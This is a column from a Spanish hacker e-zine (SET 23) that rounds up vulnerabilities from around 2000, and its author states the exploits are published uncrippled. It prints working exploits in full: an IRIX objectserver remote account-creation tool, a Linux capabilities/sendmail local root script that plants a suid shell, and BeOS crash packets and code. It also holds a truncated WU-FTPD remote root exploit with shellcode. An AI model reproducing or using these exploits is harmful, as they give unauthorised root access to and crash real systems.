Copy Link
Add to Bookmark
Report
SET 023 0x0a
-[ 0x0A ]--------------------------------------------------------------------
-[ The Bugs TOP 10 ]---------------------------------------------------------
-[ by Kriptik / Mortiis ]---------------------------------------------SET-23-
The BUGS TOP 10
-----------------
Otro numero mas y otra entrega de bugs y exploits surgidos durante este
tiempo. Como en anteriores numeros, no estan todos los que son, pero si
son todos los que estan... con esto quiero decir que lo que teneis a
continuacion solo es una pequeñisima muestra de la gran cantidad de
fallos de seguridad que han aparecido en estos meses entre SET22 y SET23.
Estamos en epoca de examenes, y los agobios y las prisas apremian, por lo
que quiza con mas facilidad que en otros numeros me habre dejado
importantes bugs en el tintero. Tan solo he intentado que no se me
escaparan algunos bastante relevantes como los que afectan al sistema BeOs
o a maquinas SGI.
Tambien ha cambiado algo respecto a anteriores numeros. Todos los exploits
que aparezcan NO van a estar capados. Tras bastante tiempo reflexionandolo
he creido oportuno eliminar esa medida que se estaba tomando. Razones...
simplemente que NO estoy para hace de NI~ERA de ningun ni~o consentido que
no sabe siquiera lo que significa ese "printf()". Si alguien quiere usar
exploits, los usara, las fuentes son demasiado conocidas, y si alguien los
utiliza sin control y mal... sera su problema, no el mio. La informacion
esta aqui... el sentido comun ahi fuera en ti, que lees esto.
Sin mas ahi van:
-( 0x01 )-
Tema : Linux UDP Masquerading
Para : Linux en general
Patch : Actualizaciones del Kernel
Debido a problemas de chequeo en el codigo del kernel para masquerading,
cualquier atacante podria reescribir las entradas del Gateway UDP
masquerading.
¿Que significa esto? El masquerading, propio de sistemas Linux,
permite que todos los ordenadores de una red salgan con una misma IP, la
del Gateway, de forma que con esta IP, podamos dar servicio a toda la
red. ¿Como realiza esto? Pues para el trafico de salida de la red,
sobreescribe la direccion del ordenador interno por la direccion del
gateway; y el puerto, por un puerto que el masquerading reserva para
estas conexiones, que se encuentra en el rango 61000 a 65096.
Pero este fallo solo afecta al trafico de paquetes UDP, que afecta
a servicios como el TFTP, DNS, Netbios...
Vamos a ilustrar con un ejemplo. En el intervienen el Host A, que
pertenece a nuestra red y un servidor DNS externo que es el Host D. La tabla
se actualizara con una entrada tal que:
Host A:1066 (64200) -> Host D:53
Lo que significa que el gateway va a utilizar su puerto 64200 para la
conexion, y sobreescribira la direccion origen (del HOST A) por la suya en
todos los paquetes de salida.
Otra cosa a tener en cuenta es que como UDP no esta orientado a
conexion, no hay forma de ver que la transmision se ha terminado, por lo
que se deja un timeout de 5 minutos. Podemos aprovechar estos 5 minutos
para explotar la vulnerabilidad que consiste en que solo se chequea el
puerto de destino para ver si esta en la tabla de masquerading.
Vamos que si dieramos con que es 64200 del ejemplo anterior, pues
mandariamos un paquete al gateway a este puerto y se actualizaria la parte
derecha de la tabla con nuestro host y puerto:
Host A:1066 (64200) -> Host NUESTRO:XXXX
¿Y como podemos saber el puerto del gateway? Pues la forma es
mandando paquetes a los diferentes puertos del gateway y observando el
campo IP ID de las respuestas. Este campo se incrementa con cada paquete
transmitido (en este caso por ellos, claro). Eso significa que si vas
mandando un paquete a los diferentes puertos dentro del rango y ves que en
uno de ellos hay una gran diferencia en este campo, habra una conexion.
-( 0x02 )-
Tema : Creacion de cuentas en SGI
Para : eso mismo
Patch : en principio actualizar, pero puedes instalar una version
anterior.
Este es un viejo conocido de los sistemas IRIX, que parecia parcheado en
las ultimas versiones, ya que en anteriores haciendo uso de un exploit
similar al que incluimos podiamos llegar a ganar privilegios de root
remotamente. Ahora *solo* nos creamos una cuenta, pero ya se sabe q una
cosa lleva a la otra...
Los detalles.. en el codigo que se incluye. Se trata de un problema con el
objectserver de Sillicon Graphics.
Exploit:
/* Copyright (c) July 1997 Last Stage of Delirium */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF */
/* Last Stage of Delirium */
/* */
/* The contents of this file may be disclosed to third */
/* parties, copied and duplicated in any form, in whole */
/* or in part, without the prior written consent of LSD. */
/* SGI objectserver "account" exploit
*/
/* Remotely adds account to the IRIX system.
*/
/* Tested on IRIX 5.2, 5.3, 6.0.1, 6.1 and even 6.2,
*/
/* which was supposed to be free from this bug (SGI 19960101-01-PX).
*/
/* The vulnerability "was corrected" on 6.2 systems but
*/
/* SGI guys fucked up the job and it still can be exploited.
*/
/* The same considers patched 5.x,6.0.1 and 6.1 systems
*/
/* where SGI released patches DONT work.
*/
/* The only difference is that root account creation is blocked.
*/
/*
*/
/* usage: ob_account ipaddr [-u username] [-i userid] [-p]
*/
/* -i specify userid (other than 0)
*/
/* -u change the default added username
*/
/* -p probe if there's the objectserver running
*/
/*
*/
/* default account added : lsd
*/
/* default password : m4c10r4!
*/
/* default user home directory : /tmp/.new
*/
/* default userid : 0
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/uio.h>
#include <errno.h>
#include <stdio.h>
#define E if(errno) perror("");
struct iovec iov[2];
struct msghdr msg;
char buf1[1024],buf2[1024];
int sck;
unsigned long adr;
void show_msg(){
char *p,*p1;
int i,j,c,d;
c=0;
printf("%04x ",iov[0].iov_len);
p=(char*)iov[0].iov_base;
for(i=0;i<iov[0].iov_len;i++){
c++;
if(c==17){
printf(" ");
p1=p;p1=p1-16;
for(j=0;j<16;j++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
c=1;
printf("\n ");
}
printf("%02x ",(unsigned char)*p++);
}
printf(" ");
p1=p;p1=p1-c;
if(c>1){
for(i=0;i<(16-c);i++) printf(" ");
for(i=0;i<c;i++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
}
printf("\n");
if(msg.msg_iovlen!=2) return;
c=0;
p=(char*)iov[0].iov_base;
d=p[0x0a]*0x100+p[0x0b];
p=(char*)iov[1].iov_base;
printf("%04x ",d);
for(i=0;i<d;i++){
c++;
if(c==17){
printf(" ");
p1=p;p1=p1-16;
for(j=0;j<16;j++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
c=1;
printf("\n ");
}
printf("%02x ",(unsigned char)*p++);
}
printf(" ");
p1=p;p1=p1-c;
if(c>1){
for(i=0;i<(16-c);i++) printf(" ");
for(i=0;i<c;i++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
}
printf("\n");
fflush(stdout);
}
char numer_one[0x10]={
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x00
};
char numer_two[0x24]={
0x21,0x03,0x00,0x43,0x00,0x0a,0x00,0x0a,
0x01,0x01,0x3b,0x01,0x6e,0x00,0x00,0x80,
0x43,0x01,0x01,0x18,0x0b,0x01,0x01,0x3b,
0x01,0x6e,0x01,0x02,0x01,0x03,0x00,0x01,
0x01,0x07,0x01,0x01
};
char dodaj_one[0x10]={
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x01,0x2a,0x00,0x00,0x00,0x00
};
char dodaj_two[1024]={
0x1c,0x03,0x00,0x43,0x02,0x01,0x1d,0x0a,
0x01,0x01,0x3b,0x01,0x78
};
char dodaj_three[27]={
0x01,0x02,0x0a,0x01,0x01,0x3b,
0x01,0x78,0x00,0x00,0x80,0x43,0x01,0x10,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x01,0x01,0x09,0x43,0x01
};
char dodaj_four[200]={
0x17,0x0b,0x01,0x01,0x3b,0x01,0x02,
0x01,0x01,0x01,0x09,0x43,0x01,0x03,0x4c,
0x73,0x44,0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x06,0x01,0x09,0x43,0x00,0x17,
0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,0x07,
0x01,0x09,0x43,0x00,0x17,0x0b,0x01,0x01,
0x3b,0x01,0x02,0x01,0x03,0x01,0x09,0x43,
0x00,0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,
0x01,0x09,0x01,0x09,0x43,0x00,0x17,0x0b,
0x01,0x01,0x3b,0x01,0x6e,0x01,0x0d,0x01,
0x09,0x43,0x00,0x17,0x0b,0x01,0x01,0x3b,
0x01,0x6e,0x01,0x10,0x01,0x09,0x43,0x00,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x0a,0x01,0x09,0x43,0x00,0x17,0x0b,0x01,
0x01,0x3b,0x01,0x6e,0x01,0x0e,0x01,0x03,
0x01,0x09,0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x04,0x01,0x09,0x43,0x01,0x0d,
0x61,0x6b,0x46,0x4a,0x64,0x78,0x65,0x6e,
0x4b,0x6e,0x79,0x53,0x2e,0x17,0x0b,0x01,
0x01,0x3b,0x01,0x6e,0x01,0x11,0x01,0x09,
0x43,0x01,0x09,0x2f,0x74,0x6d,0x70,0x2f,
0x2e,0x6e,0x65,0x77,0x17,0x0b,0x01,0x01,
0x3b,0x01,0x6e,0x01,0x12,0x01,0x09,0x43,
0x01,0x04,0x72,0x6f,0x6f,0x74,0x17,0x0b,
0x01,0x01,0x3b,0x01,0x6e,0x01,0x02,0x01,
0x03
};
char dodaj_five[39]={
0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x13,0x01,0x09,0x43,0x01,0x08,
0x2f,0x62,0x69,0x6e,0x2f,0x63,0x73,0x68,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x0f,0x01,0x09,0x43,0x01,0x03,'L','S','D'
};
char fake_adrs[0x10]={
0x00,0x02,0x14,0x0f,0xff,0xff,0xff,0xff,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
char *get_sysinfo(){
int i=0,j,len;
iov[0].iov_base=numer_one;
iov[0].iov_len=0x10;
iov[1].iov_base=numer_two;
iov[1].iov_len=0x24;
msg.msg_name=(caddr_t)fake_adrs;
msg.msg_namelen=0x10;
msg.msg_iov=iov;
msg.msg_iovlen=2;
msg.msg_accrights=(caddr_t)0;
msg.msg_accrightslen=0;
printf("SM: --[0x%04x bytes]--\n",sendmsg(sck,&msg,0)); show_msg();
printf("\n");
iov[0].iov_base=buf1;
iov[1].iov_base=buf2;
iov[1].iov_len=0x200;
msg.msg_iovlen=2;
printf("RM: --[0x%04x bytes]--\n",len=recvmsg(sck,&msg,0));
show_msg();
printf("\n");
while(i<len-0x16)
if(!memcmp("\x0a\x01\x01\x3b\x01\x78",&buf2[i],6)){
printf("remote system ID: ");
for(j=0;j<buf2[i+6];j++) printf("%02x ",buf2[i+7+j]);
printf("\n");
return(&buf2[i+6]);
}else i++;
return(0);
}
void new_account(int len){
iov[0].iov_base=dodaj_one;
iov[0].iov_len=0x10;
iov[1].iov_base=dodaj_two;
iov[1].iov_len=len;
msg.msg_name=(caddr_t)fake_adrs;
msg.msg_namelen=0x10;
msg.msg_iov=iov;
msg.msg_iovlen=2;
msg.msg_accrights=(caddr_t)0;
msg.msg_accrightslen=0;
printf("SM: --[0x%04x bytes]--\n",sendmsg(sck,&msg,0)); show_msg();
printf("\n");
iov[0].iov_base=buf1;
iov[1].iov_base=buf2;
iov[1].iov_len=0x200;
msg.msg_iovlen=2;
printf("RM: --[0x%04x bytes]--\n",recvmsg(sck,&msg,0)); show_msg();
printf("\n");
}
void info(char *text){
printf("SGI objectserver \"account\" exploit by LSD\n");
printf("usage: %s ipaddr [-u username] [-i userid] [-p]\n",text);
}
main(int argc,char **argv){
int c,user,version,probe;
unsigned int offset,gr_offset,userid;
char *sys_info;
char username[20];
extern char *optarg;
extern int optind;
if(argc<2) {info(argv[0]);exit(0);}
optind=2;
offset=40;
user=version=probe=0;
while((c=getopt(argc,argv,"u:i:p"))!=-1)
switch(c){
case 'u': strcpy(username,optarg);
user=1;
break;
case 'i': version=62;
userid=atoi(optarg);
break;
case 'p': probe=1;
break;
case '?':
default : info(argv[0]);
exit(1);
}
sck=socket(AF_INET,SOCK_DGRAM,0);
adr=inet_addr(argv[1]);
memcpy(&fake_adrs[4],&adr,4);
if(!(sys_info=get_sysinfo())){
printf("error: can't get system ID for %s.\n",argv[1]);
exit(1);
}
if(!probe){
memcpy(&dodaj_two[0x0d],sys_info,sys_info[0]+1);
memcpy(&dodaj_two[0x0d+sys_info[0]+1],&dodaj_three[0],27);
offset+=sys_info[0]+1;
if(!user) strcpy(username,"lsd");
dodaj_two[offset++]=strlen(username);
strcpy(&dodaj_two[offset],username);offset+=strlen(username);
memcpy(&dodaj_two[offset],&dodaj_four[0],200);
offset+=200;
gr_offset=offset-15;
if(version){
dodaj_two[gr_offset++]='u';
dodaj_two[gr_offset++]='s';
dodaj_two[gr_offset++]='e';
dodaj_two[gr_offset++]='r';
dodaj_two[offset++]=0x02;
dodaj_two[offset++]=userid>>8;
dodaj_two[offset++]=userid&0xff;
}
else dodaj_two[offset++]=0x00;
memcpy(&dodaj_two[offset],&dodaj_five[0],39);
offset+=39;
dodaj_one[10]=offset>>8;
dodaj_one[11]=offset&0xff;
new_account(offset);
}
}
-( 0x03 )-
Tema : Buffer Overflow en Webstar 4.0
Para : MacOS
Patch : Utilizar linux como servidor, quiero decir, actualizar
Creditos : Ilhom Djalilov <nasvay@HOTMAIL.COM>
Un buffer overflow en un sistema cuando menos curioso: MacOS.
Alguien ha visto alguna máquina en internet haciendo de Webserver
corriendo MacOS??. Bueno, si alguna encontrais, posiblemente este usando
Webstar como servidor de Web, Mail o FTP.
Bien, este programa sufre un DOS con una peticion en el puerto 80 del
tipo: GET /estoesunmensajemuyyylargodealrededorede1kb.html; es facil
deducir que tiene muchos boletos para ser una Buffer Overflow, pero por el
momento aun no he encontrado ningun shellcode (ojo, que esto corre sobre
PowerPC ;-)).
-( 0x04 )-
Tema : GNU/Linux Capabilities Bug
Para : GNU/Linux 2.2.X (X<=15)
GNU/Linux 2.3 (desarrollo)
GNU/Linux 2.4.0-test1
GNU/Linux 2.1.15 y anteriores
Patch : actualizar kernel, instalar LKM`s que lo eviten...
Las capabilities fue una nueva incorporacion en los kernel 2.2.X,
y que permite que un proceso que este corriendo como root, pueda abandonar
sus privilegios y ejecutarse como un usuario normal X. Que uso tine esto?
Pues por ejemplo que cuando el procmail vaya a ejecutarse con el
.procmailrc o .forward de cada usuario, lo haga con los permisos del
usuario y no como root. Asi se evita que gestione el correo con /bin/sh y
encima sea de root ;).
Pues la cosa es que el usuario puede deshabilitar esto, haciendo
que se pierda el uid del usuario, pudiendo conseguir el root en
ejecutables que corran como root/SUID (como sendmail...).
Codigo para ver si eres vulnerable:
--------blep.c--
#include <stdio.h>
#include <unistd.h>
int main(void)
{
if (geteuid()) {
printf("Run me as root please\n");
exit(1);
}
printf("BEFORE: %d %d\n", getuid(), geteuid());
setuid(getuid());
printf("GAVE UP: %d %d\n", getuid(), geteuid());
setuid(0);
printf("GOT BACK: %d %d\n", getuid(), geteuid());
if (!geteuid() || !getuid()) printf("PROBLEM!!\n");
return 0;
}
-----------
Codigo para ver como seria el exploit
------- suidcap.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/capability.h>
_syscall2(int, capget, cap_user_header_t, header, cap_user_data_t,
dataptr);
_syscall2(int, capset, cap_user_header_t, header, cap_user_data_t,
dataptr);
typedef struct __user_cap_header_struct capheader_t;
typedef struct __user_cap_data_struct capdata_t;
void remove_cap(capdata_t *data, int cap) {
data->effective &= ~(1 << cap);
data->permitted &= ~(1 << cap);
data->inheritable &= ~(1 << cap);
}
void cap_get(capheader_t *header, capdata_t *data) {
if (capget(header, data) == 0) return;
perror("capget");
exit(-1);
}
void cap_set(capheader_t *header, capdata_t *data) {
if (capset(header, data) == 0) return;
perror("capset");
exit(-1);
}
main() {
capheader_t header;
capdata_t data;
header.version = _LINUX_CAPABILITY_VERSION;
header.pid = 0;
data.effective = data.permitted = data.inheritable = 0;
cap_get(&header, &data);
remove_cap(&data, CAP_SETUID);
cap_set(&header, &data);
printf("launching shell...\n");
execl("/bin/sh", "/bin/sh", NULL);
perror("execl");
}
--------------- FIN
Y el exploit aprovechando el Sendmail <= 8.10.1 :
---- ESTE ES UN SHELL SCRIPT
#!/bin/sh
echo "+-----------------------------------------------------------+"
echo "| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |"
echo "| local root exploit |"
echo "| |"
echo "| Bugs found and exploit written by Wojciech Purczynski |"
echo "| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |"
echo "+-----------------------------------------------------------+"
TMPDIR=/tmp/foo
SUIDSHELL=/tmp/sh
SHELL=/bin/tcsh
umask 022
echo "Creating temporary directory"
mkdir -p $TMPDIR
cd $TMPDIR
echo "Creating anti-noexec library (capdrop.c)"
cat <<_FOE_ > capdrop.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
void unsetenv(const char*);
void _init(void) {
struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0};
struct __user_cap_data_struct capd={0, 0, 0xfffffe7f};
unsetenv("LD_PRELOAD");
capset(&caph, &capd);
system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER");
}
_FOE_
echo "Compiling anti-noexec library (capdrop.so)"
cc capdrop.c -c -o capdrop.o
ld -shared capdrop.o -o capdrop.so
echo "Creating suid shell (sush.c)"
cat <<_FOE_ > sush.c
#include <unistd.h>
int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); }
_FOE_
echo "Compiling suid shell (sush.c)"
cc sush.c -o $TMPDIR/sush
echo "Creating shell script"
cat <<_FOE_ >script
mv $TMPDIR/sush $SUIDSHELL
chown root.root $SUIDSHELL
chmod 4111 $SUIDSHELL
exit 0
_FOE_
echo "Creating own sm.cf"
cat <<_FOE_ >$TMPDIR/sm.cf
O QueueDirectory=$TMPDIR
O ForwardPath=/no_forward_file
S0
R\$* \$#local \$: \$1
Mlocal, P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script
_FOE_
echo "Dropping CAP_SETUID and calling sendmail"
export LD_PRELOAD=$TMPDIR/capdrop.so
/bin/true
unset LD_PRELOAD
echo "Waiting for suid shell ($SUIDSHELL)"
while [ ! -f $SUIDSHELL ]; do sleep 1; done
echo "Removing everything"
cd ..
rm -fr $TMPDIR
echo "Suid shell at $SUIDSHELL"
$SUIDSHELL
------- FIN DE CODIGO
-( 0x05 )-
Tema : Matando procesos en BeOS
Para : pos BeOS
Patch : por ahora, nada, nadita.
Se ha descubierto un grave fallo en la pila de protocolos de red
de BeOs, el cual produce que el proceso asociado a dicah pila se suicide.
Esto se produce cuando se envian ciertos paquetes mal generados a la
susodicha pila. Incluimos un par de scripts que generan estos paquetes mal
construidos. El primero es un paquete IP con el campo de protocolo marcado
como TCP, en el cual si el campo de longitud de IP se pone como menor de
40, producira el suicidio. El otro, con la misma filosofia, se trata de un
paquete IP con protocolo UDP, y marcado con longitud menor de 28. Estas
longitudes de 40 y 28 son las minimas posibles, de ahi lo de paquetes mal
construidos ;-).
Soluciones.. esperar, Be, parece haber decidido no arreglar este fallo,
puesto que la pila de protocolos va ha ser sustituida en breve totalmente
en BeOS.
Los Scripts CASL:
Script 1:
#!/usr/local/casl/bin/casl
#include "tcpip.casl"
#include "packets.casl"
#include "tcp.casl"
srchost = 10.0.0.1;
dsthost = 10.0.0.2;
IPH = copy UDPIP;
IPH.ip_hl = 5;
IPH.ip_src = srchost;
IPH.ip_dst = dsthost;
IPH.ip_length = 27;
packet = [ IPH ];
ip_output(packet);
Script 2:
#!/usr/local/casl/bin/casl
#include "tcpip.casl"
#include "packets.casl"
#include "tcp.casl"
srchost = 10.0.0.1;
dsthost = 10.0.0.2;
IPH = copy TCPIP;
IPH.ip_hl = 5;
IPH.ip_src = srchost;
IPH.ip_dst = dsthost;
IPH.ip_length = 39;
packet = [ IPH ];
ip_output(packet);
URLs relacionadas:
http://www.be.com/ - Be's website. BeOS is available for download
free of charge.
http://bebugs.be.com/devbugs/ - Be's bug tracking database.
http://expert.cc.purdue.edu/~frantzen/ - The homepage of the
ISIC author.
ftp://ftp.nai.com/pub/security/casl/ - NAI's packet scripting
language CASL is available for download free of charge.
-( 0x06 )-
Tema : Tirando el sistema BeOS
Para : BeOS que viene, BeOS que va... ( R4.5.x , R5.0 )
Patch : ajo y agua
El sistema BeOS se cae cuando se hace una llamada de sistema con
parametros incorrectos. Por ejemplo realizando llamadas directas al
kernel (sin las libroot.so) a traves de la interrupcion 0x25 con
parametros incorrectos (o una confeccion erronea de los parametros metidos
en la pila).
Este Bug afecta a la R5.0 asi como a todos los R4.5.x.
Aun no se ha dado solucion a este bug, dado q requiere una modificacion
directa en el kernel del sistema.
Incluimos un ejemplo de codigo en ASM que haria que el sistema BeOs se
quedara colgado:
section .text
global _start
_start:
push dword msg
push dword len
push dword 1 ;stdout
mov eax,3 ;sys_write
int 0x25 ;must be a *call* to int 0x25,
;then everything goes ok; i.e.
;return address must be on the stack,
;but it is not
mov eax,0x3f ;sys_exit
int 0x25
msg db "hello",0xa
len equ $ - msg
(source and binary can be downloaded at
http://linuxassembly.org/BeDie.tgz)
URLs Relacionadas:
http://bebugs.be.com/devbugs/detail.php3?oid=2324160
http://www.escribe.com/software/bedevtalk/ - BeDevTalk
archives
(Feb-Mar 2000, search for topics "assembly & BeOS", "system
calls", "system call stress testing"
http://linuxassembly.org - Linux/UNIX assembly programming
portal
-( 0x07 )-
Tema : Conseguir "root" en Turbolinux 6.0.2 y anteriores
Para : para la distro mas rapida
Patch : pasa desde actualizar, cambiarte de distro, incluso dejar el
curro y dedicarte a cultivar el campo.
Fecha : Enero 2000
Creditos : Dildog (L0pth)
Como ya ocurrio con RedHat 6.0, aparece un bug que nos permite conseguir
root de forma local gracias a que PAM y USERMODE nos permiten seguir rutas
del tipo ../../...
Para que este bug este presente deben estar los paquetes: pam-0.70-2 y
anteriores; usermode-1.6-1 y anteriores.
Para mas informacion y exploit, remitirse al anterior numero de SET, o a
la web de L0pht.
Solucion: actualizar los paquetes de pam y usermode.
ftp://ftp.turbolinux.com/pub/updates/6.0/security/pam-0.72-3.i386.rpm
ftp://ftp.turbolinux.com/pub/updates/6.0/security/usermode-1.18-1.i386.rpm
ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/pam-0.72-3.src.rpm
ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/usermode-1.18-1.src.rpm
-( 0x08 )-
Tema : Root Exploit Remoto en WuFTPD 2.6.0
Para : OpenLinux Desktop 2.3 (with wu-ftpd-2.5.0-7 and prior)
OpenLinux eServer 2.3 (with wu-ftpd-2.5.0-7 and prior)
OpenLinux eBuilder 2.3 (with wu-ftpd-2.5.0-7 and prior)
OpenLinux eDesktop 2.4 (with wu-ftpd-2.5.0-7 and prior)
Conectiva Linux servidor-1.0
Conectiva Linux 3.0
Conectiva Linux 4.0
Conectiva Linux 4.0es
Conectiva Linux 4.1
Conectiva Linux 4.2 5.0
Debian GNU/Linux 2.1 (slink, potato and woody)
Red Hat Linux 5.2 - i386 alpha sparc
Red Hat Linux 6.2 - i386 alpha sparc
Patch : actualizar el exploit o www.proftpd.net
Este es el tipico bug que pa que explicar. En el WuFTPD la
tradicion manda y aqui tenemos un buffer overflow en toda regla utilizando
el ya mitico site exec.
Solucion:
Ya da que pensar si actualizar o cambiarse, porque lo del
WuFTPD esta haciendo historia (peor que el Sendmail en sus a~os mozos).
Para los que querais actualizar, pues conectaros al ftp de vuestra
distro/SO.
Aqui esta el codigo para:
RedHat 6.2 (?) com wuftpd 2.6.0(1) de rpm
RedHat 6.2 (Zoot) con wuftpd 2.6.0(1) de rpm
SuSe 6.3 con wuftpd 2.6.0(1) de rpm
SuSe 6.4 con wuftpd 2.6.0(1) de rpm
RedHat 6.2 (Zoot) con wuftpd 2.6.0(1) de rpm
FreeBSD 3.4-STABLE con wuftpd 2.6.0(1) de ports
FreeBSD 3.4-STABLE con wuftpd 2.6.0(1) de packages
FreeBSD 3.4-RELEASE con wuftpd 2.6.0(1) de ports
FreeBSD 4.0-RELEASE con wuftpd 2.6.0(1) de packages
, pa ver como va el exploit:
/*
h0h0 aye-dee-emm's 0d4y w4r3z 1z unbr0k3n f0r y0u p30pl3 n0w
*/
/*
* VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
*
* WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
* by tf8
*
* *NOTE*: For ethical reasons, only an exploit for 2.6.0 will be
* released (2.6.0 is the most popular version nowadays), and it
* should suffice to proof this vulnerability concept.
*
* Site exec was never really *fixed*
*
* Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
* \x90, venglin, xz, MYT and lamagra.
* Also greetings go to the WU-FTPD development team for including this
* bug in ALL their versions.
*
* Fuck to wuuru (he is an idiot)
*
* Account is not required, anonymous access is enough :)
*
* VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>
#ifdef __linux
#include <getopt.h>
#endif
#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"
char infin_loop[]= /* for testing purposes */
"\xEB\xFE";
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";
char bsd_code_d[]= /* you should call it directly (no jump/call)*/
"\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
"\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
"\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
"\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
"\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
"\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
"\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
"\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
"\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
"\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
"\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";
char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
#define MAX_FAILED 4
#define MAX_MAGIC 100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;
struct targets {
int def;
char *os_descr, *shellcode;
int delay;
u_long pass_addr, addr_ret_addr;
int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};
